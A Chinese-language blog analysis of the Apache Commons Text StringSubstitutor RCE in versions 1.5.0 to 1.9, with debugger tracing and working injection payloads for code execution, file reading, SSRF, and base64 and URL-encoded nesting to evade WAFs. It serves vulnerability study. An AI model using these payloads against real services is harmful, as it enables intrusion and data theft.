Apache Commons Text RCE 漏洞分析

打 rwctf 体验赛遇到的, 顺带写一下

总体感觉跟 log4j2 jndi 注入的利用方式很像, 毕竟都是 apache 的库

漏洞分析

The Commons Text library provides additions to the standard JDK’s text handling. Our goal is to provide a consistent set of tools for processing text generally from computing distances between Strings to being able to efficiently do String escaping of various type

官方文档: https://commons.apache.org/proper/commons-text/userguide.html

影响版本: 1.5.0 - 1.9

添加依赖

1
2
3
4
5
<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-text</artifactId>
    <version>1.9</version>
</dependency>

demo

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
package com.example;

import org.apache.commons.text.StringSubstitutor;

public class Demo {
    public static void main(String[] args) throws Exception{
        StringSubstitutor interpolator = StringSubstitutor.createInterpolator();
        String code = "${script:js:java.lang.Runtime.getRuntime().exec(\"calc\")}";
        String res = interpolator.replace(code);
        System.out.println(res);
    }
}

interpolator.replace(code) 处打个断点开始调试

首先进入 StringSubstitutor#replace

跟进 substitute 方法

prefixMatcher 和 suffixMacher 分别为 ${}, 用于标记插值表达式

valueDelimMatcher 的值为 :-, 这里我一开始以为它能够跟 log4j2 一样通过 ${a:-j}ndi 来拼接关键词, 但后来发现实际上并不支持这种使用方式, 一时半会也没想出来怎么去利用…

后面是一堆循环和 if 来解析表达式

然后会来到 this.resolveVariable 这个方法

这里有一个 stringLookupMap, 里面对应了很多 lookup class, 后续利用也都是从这些 class 来入手

默认的 InterpolatorStringLookup 会截取 prefix, 然后从 stringLookupMap 中取得对应的 lookup class 并调用其 lookup 方法

ScriptStringLookup 会截取 engineName 和 script, 然后创建对应的 ScriptEngine

在 return 的时候会调用 scriptEngine.eval(script) 从而造成任意代码执行

利用方式

官方文档中给出的几种 lookup 方式

https://commons.apache.org/proper/commons-text/apidocs/org/apache/commons/text/StringSubstitutor.html

https://commons.apache.org/proper/commons-text/apidocs/org/apache/commons/text/lookup/StringLookupFactory.html

基本所有的利用方法都已经在这篇文章里面给出了, 总结的很全

https://forum.butian.net/share/1973

下面就举出几个常用的 lookup class 来分析一下

ScriptStringLookup

很简单的利用 ScriptEngineManager 来执行命令, 上面已经分析过了

常规的弹计算器

1
${script:js:java.lang.Runtime.getRuntime().exec("calc")}

结合 Scanner 或者 BufferedReader 实现回显

1
2
3
${script:js:new java.io.BufferedReader(new java.io.InputStreamReader(new java.lang.ProcessBuilder("whoami").start().getInputStream(), "GBK")).readLine()} // 只能读取一行

${script:js:new java.util.Scanner(new java.lang.ProcessBuilder("ipconfig").start().getInputStream(), "GBK").useDelimiter("xzxzxz").next()}

注意类名要写全 (包括 java.lang)

ResourceBundleStringLookup

ResourceBundle 的利用方式最初是在浅蓝师傅的这篇文章中学到的

https://mp.weixin.qq.com/s/vAE89A5wKrc-YnvTr0qaNg

利用它可以读取 classpath 下的 .properties 配置文件, 无需知道绝对路径

一个很经典的例子就是 springboot 的 application.properties 文件

1
${resourcebundle:application:user.name}

FileStringLookup

读取文件

需要指定 charsetname

1
${file:utf-8:d:/test.txt}

UrlStringLookup

发起 url 请求

同样需要指定 charsetname

可以利用 http 和 file 协议, 造成 ssrf 或者读取本地文件

1
2
3
${url:utf-8:http://127.0.0.1:8000/}

${url:utf-8:file:///d:/test.txt}

编码绕过

主要利用 urlDecoder 和 base64Decoder

原因在于 StringSubstitutor#substitute 支持递归解析

所以可以利用编码 + 嵌套的方式来绕过某些 waf 对 prefix 的检测

base64Decoder

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
package com.example;

import org.apache.commons.text.StringSubstitutor;

import java.util.Base64;

public class Demo {
    public static void main(String[] args) throws Exception{
        StringSubstitutor interpolator = StringSubstitutor.createInterpolator();
        String code = "${script:js:java.lang.Runtime.getRuntime().exec(\"calc\")}";
        String poc = "${base64Decoder:" + Base64.getEncoder().encodeToString(code.getBytes()) + "}";
        String res = interpolator.replace(poc);
        System.out.println(res);
    }
}
1
${base64Decoder:JHtzY3JpcHQ6anM6amF2YS5sYW5nLlJ1bnRpbWUuZ2V0UnVudGltZSgpLmV4ZWMoImNhbGMiKX0=}

urlDecoder

1
${urlDecoder:%24%7b%73%63%72%69%70%74%3a%6a%73%3a%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%61%6c%63%22%29%7d}

当然多套几层也是可以的

参考文章

https://paper.seebug.org/2025/

https://paper.seebug.org/1993/

https://forum.butian.net/share/1973

https://blog.csdn.net/qq_34101364/article/details/127338170

0%